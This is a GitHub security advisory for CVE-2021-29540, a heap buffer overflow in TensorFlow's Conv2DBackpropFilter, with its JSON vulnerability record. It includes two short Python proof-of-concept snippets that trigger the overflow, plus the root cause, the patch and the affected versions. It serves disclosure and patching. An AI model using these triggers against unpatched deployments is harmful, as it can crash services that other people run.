ghsa-xgc3-m89p-vr3x
Vulnerability from github
Published
2021-05-21 14:23
Modified
2024-10-30 23:28
Severity ?
2.5 (Low) - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
2.0 (Low) - CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Summary
Heap buffer overflow in `Conv2DBackpropFilter`
Details

Impact

An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

```python import tensorflow as tf

input_tensor = tf.constant([386.078431372549, 386.07843139643234], shape=[1, 1, 1, 2], dtype=tf.float32) filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter( input=input_tensor, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 66, 49, 1], use_cudnn_on_gpu=True, padding='VALID', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1] ) ```

Alternatively, passing empty tensors also results in similar behavior:

```python import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32) filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32) out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter( input=input_tensor, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 66, 49, 1], use_cudnn_on_gpu=True, padding='VALID', explicit_paddings=[], data_format='NHWC', dilations=[1, 1, 1, 1] ) ```

This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.

Patches

We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
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        {
          "events": [
            {
              "introduced": "0"
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          "type": "ECOSYSTEM"
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    {
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      },
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        "name": "tensorflow-cpu"
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              "fixed": "2.4.2"
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        "ecosystem": "PyPI",
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        "name": "tensorflow-gpu"
      },
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            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
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          "type": "ECOSYSTEM"
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    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29540"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-120",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-18T22:05:40Z",
    "nvd_published_at": "2021-05-14T20:15:00Z",
    "severity": "LOW"
  },
  "details": "### Impact\nAn attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([386.078431372549, 386.07843139643234],\n                           shape=[1, 1, 1, 2], dtype=tf.float32)\nfilter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],\n                           dtype=tf.float32)\n  \ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes,\n  out_backprop=out_backprop,\n  strides=[1, 66, 49, 1],\n  use_cudnn_on_gpu=True,\n  padding=\u0027VALID\u0027,\n  explicit_paddings=[],\n  data_format=\u0027NHWC\u0027,\n  dilations=[1, 1, 1, 1]\n)\n```\n\nAlternatively, passing empty tensors also results in similar behavior: \n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)\nfilter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes, \n  out_backprop=out_backprop,\n  strides=[1, 66, 49, 1], \n  use_cudnn_on_gpu=True,\n  padding=\u0027VALID\u0027,\n  explicit_paddings=[],\n  data_format=\u0027NHWC\u0027,\n  dilations=[1, 1, 1, 1]\n)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.\n\n### Patches \nWe have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
  "id": "GHSA-xgc3-m89p-vr3x",
  "modified": "2024-10-30T23:28:15Z",
  "published": "2021-05-21T14:23:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xgc3-m89p-vr3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29540"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-468.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-666.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-177.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Heap buffer overflow in `Conv2DBackpropFilter`"
}


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